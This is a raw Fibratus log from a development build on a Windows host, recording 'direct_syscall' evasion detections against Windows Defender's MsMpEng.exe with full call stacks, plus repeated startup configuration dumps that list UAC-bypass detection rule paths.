SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9fbd67 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9fba26 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca04402 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:54+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5193557 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:50.3939819 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3493cfe C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde327b1e3 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327abf6 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde343635b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3435ddf C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3646a78 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde3646963 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:54+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5193683 + Pid: 5052 + Tid: 9916 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:50.5413287 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde34ae2c4 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde34aec0b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde3289ac1 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3289848 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde32897e4 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe7bb94208 C:\Windows\System32\sechost.dll!?|0x7ffe7bb929af C:\Windows\System32\sechost.dll!?|0x7ffe7bbb3207 C:\Windows\System32\sechost.dll!ProcessTrace|0x7ffde3603c95 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerFreeObjectInfo|0x7ffde3967fdf C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:54+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5193687 + Pid: 5052 + Tid: 9916 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:50.5415751 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde349ab08 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31be8f7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde34de247 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde3289d5c C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3289848 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde32897e4 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe7bb94208 C:\Windows\System32\sechost.dll!?|0x7ffe7bb929af C:\Windows\System32\sechost.dll!?|0x7ffe7bbb3207 C:\Windows\System32\sechost.dll!ProcessTrace|0x7ffde3603c95 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerFreeObjectInfo|0x7ffde3967fdf C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:56:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:56:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T17:00:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T17:00:19+01:00 level=info msg=bootstrapping with pid 2212. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T17:00:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-image=>true enable-thread=>true enable-dns=>false enable-handle=>false enable-fileio=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-registry=>true enable-threadpool=>true max-buffers=>36 min-buffers=>16 buffer-size=>512 enable-vamap=>true flush-interval=>1s stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 max-age=>0 log-stdout=>true level=>info] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false serializer=>json endpoints=>[] timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ delivery-mode=>transient exchange=>fibratus enabled=>false url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false passive=>false durable=>false] elasticsearch=>[ flush-period=>1s trace-log=>false gzip-compression=>false template-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck=>true healthcheck-interval=>10s sniff=>false enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false skip-allocs=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true enabled=>false excluded-files=>[] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-27T17:00:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T17:00:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T17:02:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T17:02:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T17:02:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:29:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T13:29:52+01:00 level=info msg=bootstrapping with pid 7256. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T13:29:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>true max-buffers=>36 enable-net=>true enable-audit-api=>true buffer-size=>512 stack-enrichment=>true enable-vamap=>true enable-image=>true min-buffers=>16 enable-dns=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-fileio=>true flush-interval=>1s enable-thread=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 formatter=>text level=>info] + output ......................... [ http=>[ method=>POST endpoints=>[] tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false timeout=>5s enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus sniff=>false enabled=>false healthcheck=>true trace-log=>false timeout=>5s bulk-workers=>1] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false durable=>false routing-key=>fibratus delivery-mode=>transient exchange=>fibratus passive=>false timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] excluded-procs=>[] skip-mmaps=>false skip-allocs=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-28T13:29:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:29:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:30:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T13:30:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:30:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:32:29+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T13:32:29+01:00 level=info msg=bootstrapping with pid 16060. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T13:32:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 buffer-size=>512 enable-handle=>false enable-vamap=>true enable-fileio=>true enable-threadpool=>true enable-audit-api=>true enable-registry=>true enable-image=>true enable-dns=>false flush-interval=>1s stack-enrichment=>true enable-net=>true enable-mem=>false min-buffers=>16 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-age=>0 max-size=>100 max-backups=>15 level=>info] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s timeout=>5s enabled=>false gzip-compression=>false template-name=>fibratus index-name=>fibratus sniff=>false healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-timeout=>5s flush-period=>1s] http=>[ timeout=>5s serializer=>json enable-gzip=>false enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false] amqp=>[ enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false vhost=>/ exchange-type=>topic timeout=>5s exchange=>fibratus passive=>false routing-key=>fibratus durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s fastscan=>true excluded-procs=>[] excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-allocs=>false skip-files=>false enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T13:32:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:32:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:32:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T13:32:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:32:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:36:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T13:36:02+01:00 level=info msg=bootstrapping with pid 8348. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T13:36:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true max-buffers=>36 enable-mem=>false buffer-size=>512 enable-image=>true enable-fileio=>true enable-threadpool=>true stack-enrichment=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-registry=>true enable-thread=>true min-buffers=>16 enable-net=>true enable-dns=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-size=>100 max-age=>0 level=>info max-backups=>15] + output ......................... [ amqp=>[ routing-key=>fibratus durable=>false timeout=>5s url=>amqp://localhost:5672 vhost=>/ passive=>false tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic enabled=>false delivery-mode=>transient] 